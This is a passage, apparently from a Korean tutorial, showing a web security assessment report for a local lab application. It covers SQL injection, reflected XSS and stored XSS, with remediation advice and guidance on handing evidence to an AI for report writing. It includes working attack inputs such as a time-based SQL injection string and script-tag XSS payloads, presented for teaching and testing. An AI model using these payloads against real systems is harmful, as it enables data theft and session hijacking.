5. `?id=1' AND SLEEP(5) -- ` 입력 시 응답 시간이 5초 이상 지연되어 Time-based 인젝션도 성립
- 영향
- 사번을 모르는 외부 공격자가 전체 회원 정보를 일괄 추출
- DB 종류·버전 식별 후 추가 페이로드 시도 가능
- 인증 페이지가 같은 패턴으로 작성되어 있다면 로그인 우회로 확장
- 증거: 첨부 `sqli_probe.py` 실행 로그 (`! payload="1'" ... errors=['unrecognized token']`)
### V-02. Reflected XSS
- 위치: `/xss/reflected` 엔드포인트의 `q` 쿼리 파라미터
- 원인: 검색어를 HTML 본문에 이스케이프 없이 삽입
- 재현 절차
1. `http://127.0.0.1:8000/xss/reflected?q=<script>alert(1)</script>` 접속
2. 페이지 로드 직후 `alert(1)` 창이 즉시 실행됨
- 영향
- 공격용 URL을 메일·메신저로 받은 사용자가 클릭하면 세션 쿠키 탈취, 피싱 폼 덧씌움 등으로 이어짐
- 증거: 첨부 `xss_reflect_probe.py` 출력 (`reflected=True` 다수)
### V-03. Stored XSS
- 위치: `/xss/stored` 엔드포인트, 방명록의 `name`·`message` 필드
- 원인: 작성자/메시지를 저장 시·노출 시 모두 HTML 이스케이프 없이 처리
- 재현 절차
1. 방명록에 메시지 `<script>/XID-abcd/alert(1)</script>` 작성
2. 같은 페이지를 다시 열면 모든 방문자의 브라우저에서 스크립트가 실행됨
- 영향
- 페이지를 열어 본 **모든 사용자**의 세션이 일괄 탈취 가능
- 방명록 한 줄로 전사 임직원이 피해 대상이 되는 광역 공격
## 5. 권고 조치
| 항목 | 코드 수준 권고 | 인프라/운영 수준 권고 |
|------|----------------|------------------------|
| SQLi | 문자열 포매팅 대신 **파라미터 바인딩**(`?` placeholder) 사용. ORM 사용 시에도 raw 쿼리 금지 | DB 에러 메시지를 사용자에게 노출하지 말고 일반화된 메시지로 치환. WAF에서 SQL 키워드 탐지 룰 적용 |
| Reflected XSS | 응답 HTML에 사용자 입력을 박을 때 `html.escape()` 또는 템플릿 엔진의 자동 이스케이프 사용 | `Content-Security-Policy` 헤더로 인라인 스크립트 차단 |
| Stored XSS | 저장 시점이 아닌 **출력 시점**에 이스케이프. 리치 텍스트가 필요하면 화이트리스트 기반 sanitizer(예: `bleach`) 적용 | 쿠키에 `HttpOnly`, `SameSite=Lax` 부여하여 탈취 영향 축소 |
## 6. 재점검 계획
- 조치 완료 후 동일 페이로드로 재점검 (`sqli_probe.py`, `xss_reflect_probe.py` 결과에 의심 표시(`!`)가 사라지는지 확인)
- 회귀 방지를 위해 위 페이로드들을 단위 테스트에 등록
## 7. 참고
- 점검에 사용한 스크립트: `sqli_probe.py`, `blind_time_based.py`, `xss_reflect_probe.py`
- 관련 표준: OWASP Top 10 2021 (A03 Injection, A07 XSS), CWE-89, CWE-79
보고서를 AI에게 맡길 때 무엇을 같이 줘야 하는가
위 골격만 던져주고 "채워줘"라고 하면 AI는 일반론으로 빈칸을 메웁니다. 점검 중에 모은 실제 증거(브라우저 화면 캡처, sqli_probe.py 출력의 ! 줄, 응답 시간 측정값, 사용한 페이로드 원문)를 함께 첨부해야 보고서가 일반론을 벗어나 실제 발견 사례로 채워집니다. 03-3에서는 이 흐름을 자동화해 CSV → 통합 JSON → Markdown 보고서로 묶는 작업을 합니다.